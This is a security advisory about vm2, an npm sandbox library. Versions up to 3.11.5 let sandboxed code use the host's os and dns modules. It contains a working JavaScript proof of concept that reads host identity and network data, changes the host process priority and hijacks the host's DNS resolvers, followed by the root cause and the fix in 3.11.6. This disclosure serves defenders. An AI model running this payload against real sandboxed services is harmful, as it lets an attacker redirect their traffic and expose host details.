critical · 10Aug 17, 2026

vm2: NodeVM builtin wildcard exposes os and dns host-process read/write primitives

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

In vm2, sandboxed code using the builtin wildcard can call dns.setServers() to hijack every DNS lookup the host process makes, and read host identity and network topology via os, all from a single…

Packagevm2
Ecosystemnpm
Affected<= 3.11.5
Fixed in3.11.6
vm2: NodeVM builtin wildcard exposes os and dns host-process read/write primitives

The problem

vm2's NodeVM passes os and dns through to the sandbox via vm.readonly(hostRequire(key)) when builtin: ['*'] is used. The readonly proxy forwards every method call to the host realm, so for modules whose purpose is to read or mutate host-process state, the proxy boundary protects nothing.

os.userInfo() and os.networkInterfaces() expose the host process owner, uid/gid, home directory, and full network topology including container veth interfaces. dns.setServers(['attacker:53']) replaces the host's process-wide DNS resolver list in one synchronous call.

Every subsequent DNS lookup the host process makes, including outbound HTTP, registry fetches, and OIDC issuer resolution, flows through the attacker's resolver. os.setPriority() mutates the host process nice value. Both writes persist after vm.run() returns and are visible from the host realm.

Proof of concept

A working proof-of-concept for this issue in vm2, with the exact payload below.

javascript
// [A] Read host identity and mutate process priority
const { NodeVM } = require('vm2');

const vm = new NodeVM({ require: { external: true, builtin: ['*'] } });
const r = vm.run(`
  const os = require('os');
  os.setPriority(10);  // mutates host process nice value
  module.exports = {
    userInfo: os.userInfo(),         // uid/gid/username/homedir/shell
    hostname: os.hostname(),
    networkInterfaces: Object.keys(os.networkInterfaces())
  };
`, 'os.js');
console.log(JSON.stringify(r, null, 2));
console.log('host getPriority():', require('os').getPriority()); // => 10

// [B] Hijack host-process DNS resolver (one synchronous line)
const dnsHost = require('dns');
console.log('before:', dnsHost.getServers());

const vm2 = new NodeVM({ require: { external: true, builtin: ['*'] } });
vm2.run(`
  require('dns').setServers(['127.0.0.1:5353', '8.8.4.4']);
`, 'dns.js');

console.log('after:', dnsHost.getServers());
// Every host dns.lookup() now goes to 127.0.0.1:5353

The root cause is an incomplete blocklist. lib/builtin.js maintains a DANGEROUS_BUILTINS set that the '*' wildcard expansion filters against. GHSA-9g8x-92q2-p28f added diagnostics_channel, async_hooks, perf_hooks, and v8 to that set with the rationale that process-wide observability modules cannot be made sandbox-local by a readonly proxy. os and dns satisfy the same description but were not included.

The patch for 3.11.6 adds 'os' and 'dns' to DANGEROUS_BUILTINS. The existing isDangerousBuiltin() family-prefix matcher then automatically covers node:os, node:dns, and node:dns/promises without further changes. CWE-200 (information exposure) and CWE-732 (incorrect permission assignment) both apply: the sandbox reads privileged host-process state and writes to it through the unguarded readonly proxy.

The fix

Upgrade vm2 to 3.11.6. The patch adds 'os' and 'dns' to DANGEROUS_BUILTINS in lib/builtin.js, blocking them from the '*' wildcard expansion and from explicit allowlists. If you need a sandbox-local os or dns surface (e.g. os.platform(), os.EOL), register a hand-written safe wrapper via the mock or override option instead of granting the real host module.

Reported by patriksimek.

References: [1][2][3]

Related research